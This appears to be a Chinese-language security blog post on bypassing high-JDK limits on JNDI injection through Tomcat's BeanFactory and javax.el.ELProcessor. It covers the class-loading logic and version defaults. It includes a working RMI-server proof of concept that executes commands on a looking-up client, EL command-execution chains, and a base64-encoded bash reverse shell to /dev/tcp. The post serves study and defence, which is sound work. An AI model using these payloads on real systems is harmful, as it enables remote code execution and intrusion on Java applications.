JNDI 高版本JDK 限制绕过
JNDI 高版本JDK 限制绕过
JNDI注入的限制以及绕过方式
RMI 方式实现的JNDI大体分为以下步骤:
-
客户端通过RMI方式获取
ReferenceWarpper_Stub
,通过远程调用getReference
获取Reference
对象。 -
客户端通过
Reference
获取ObjectFactory
实现类的定义(.class)资源位置,加载并无参实例化;该步骤中,如果没有在本地Classpath找到
factory
定义,则之后的网络加载过程会受到com.sun.jndi.rmi.object.trustURLCodebase
与com.sun.jndi.ldap.object.trustURLCodebase
属性的限制。-
JDK
5U45
、6U45
、7u21
、8u121
及其之后java.rmi.server.useCodebaseOnly
默认值为"true"
。 -
JDK
6u132
、7u122
、8u113
及其之后com.sun.jndi.rmi.object.trustURLCodebase
默认值为"false"
。 -
JDK
6u211
、7u201
、8u191
、11.0.1
及其之后com.sun.jndi.ldap.object.trustURLCodebase
默认值为"false"
。
-
-
通过实例化的
ObjectFactory
生成一个新的对象,并返回。
由于2、3步骤会优先加载本地ClassPath中的资源,所以如果客户端获取的 Reference
中的 ObjectFactory
在本地Class中存在,那么可以通过该工厂类代替远程工厂类,去返回包含恶意代码的类。
相关类
ObjectFactory
javax.naming.spi.ObjectFactory
用于创建客户端要获取的对象,其中包含客户端寻找远程对象的 name
、 Context
与 enviroment
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
}
obj
:ReferenceWrapper_Stub
获取的Reference
实例;name
:绑定的name;enviroment
:传入InitialContext
的map
Context
:InitialContext 调用的Context
。比如RMI方式下,就是com.sun.jndi.rmi.registry.RegistryContext
;
其实可以发现 obj
与 name
都是JNDI服务器可控的。
Reference
javax.naming.Reference
构造方法参数依次为:className
、addr
、factory
、factoryLocation
:
StringRefAddr
javax.naming.StringRefAddr
继承于 RefAddr
并重写了 getContent
BeanFactory
org.apache.naming.factory.BeanFactory
该类为 javax.naming.spi.ObjectFactory
的实现类,存在于 Tomcat 的依赖中,例如:tomcat-embed-core
。
目标类加载
org.apache.naming.ResourceRef
继承于 Reference
:
该实现方法首先判断 obj
是不是一个 org.apache.naming.ResourceRef
,如果是,将其转换为 Reference
类型,并获取要生成的类名,并尝试加载类,即 Reference
包含的 className
。
方法名解析
之后就是通过反射无参构造目标类的实例。并检测目标类的字段,getter
/setter
并为实例字段赋值。
得到从 Reference 中获取 addrType
为 forceString
的 RefAddr
,并从 getContent
中获取以 ,
分割的赋值表达式,作为 param
,形式为 attr=method
。之后通过 =
进行分割:
-
如果包含
=
,那么param
就是=
前面的内容,setterName
就是=
后面的内容; -
如果没被分割,
setterName
就是前面再拼接上set
, 获取setter
方法名称。(包括这里对第一个字母做了大写转换)
遍历完之后,将 param
=>beanClass.getMethod(setterName, paramTypes)
添加进map中:
之后从 ref.getAll
获取 Reference
中所有 RefAddr
,然后遍历,获取 addrType
:
-
如果是
scope
、auth
、forceString
、singleton
则跳过; -
否则从之前分割的表达式中构造的map中,以
addrType
(getType
) 作为键,获取Method
对象,并对bean
(之前加载的工程类)调用:method.invoke(bean, valueArray)
,这个参数数组的第一个参数就是RefAddr
#getContent
:
总结
攻击者构造的服务端,需要将 Reference
的 factoryClass
的值设为 org.apache.naming.factory.BeanFactory
,并且要找到合适的目标类,该类在目标机器上存在并且可以执行恶意代码,并将其作为 className
。
而这个 className
类要执行的方法,通过 Reference
中的 RefAddr
向量来获取:
- 其中有一个为
addrType
为"forceString"
,getContent
为要执行的方法,形式为"param=method"
; - 其它的
RefAddr
中的addrType
要有对应的param
,以及method
的参数;
ELProcessor
javax.el.ELProcessor
包含于 org.apache.tomcat.embed
的 tomcat-embed-el
项目中(\(8.X\))。
该类包含 eval
方法,可以执行java语句:
例:
ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\")");
System.out.println(o);
class java.lang.Runtime
因此可以通过 eval
方法执行以下调用链,执行恶意代码:
Class
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)
.exec(new String[]{yourCmd, args})
具体就是:
ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")");
System.out.println(o);
不能直接通过
Runtime.class
的原因是class
不是Runtime
的静态属性,无法通过反射获取。(
类名.class
只是一个java语法层面的东西)
这个要被 eval
的语句还是相当局限的比如 Runtime.getRuntime().exec("cmd")
不行,还有 exec(new String[]{"firefox"})
的这种形式也不行(这会造成命令参数的错误解析(exec(String)
是以空格分割参数的)),抛出如下错误:
还有以下调用链:
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec(\"firefox\")")
也会有如上缺陷,貌似是用 new
就会抛错。所以基本无法正常解析多参数命令,例如:
bash -c "bash -i >&/dev/tcp/127.0.0.1/1234 0>&1"
但是可以通过管道解决空格问题:
bash -c {echo,反弹shell的base编码}|{base64,-d}|{bash,-i}
此时的命令是这样的:
bash -c {echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}
然后 exec(String)
把它解析为了:
bash -c "{echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}"
此时就可以使用 ReversedShell
了:
虽有有点小问题,但是不得不说 ELProcessor
真的很强大啊!!!
PoC
corretton JDK 1.8.0_322
客户端包含如下依赖:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.77</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.77</version> </dependency>
RMI服务端
因此构建如下RMI服务端:
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")"
));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("exec",wrapper);
}
注意:
BeanObjectFactory
会判断是否为ResourceRef
的子类;factoryLocation
(第5个构造参数) 需要为null
,原因是在RegistryContext
中:当
ref
不为null
,ref.getFactoryClassLocation
不为null
,且trustURLCode
为false
,之后会抛出ConfigurationException
。
即便没有设置 com.sun.jndi.rmi.object.trustURLCodebase
与 com.sun.jndi.ldap.object.trustURLCodebase
属性,只要客户端使用 InitialContext
#lookup(schema://host:port/refName)
也可以成功执行恶意代码:
优点与局限
不会受高版本JDK的相关属性限制,不需要建立HTTP服务器,但是依赖于 Tomcat8
组件。但tomcat本身被广泛应用,且包括 springboot-web-starter
也会用到tomcat,该利用链还是有很多用处的。
参考: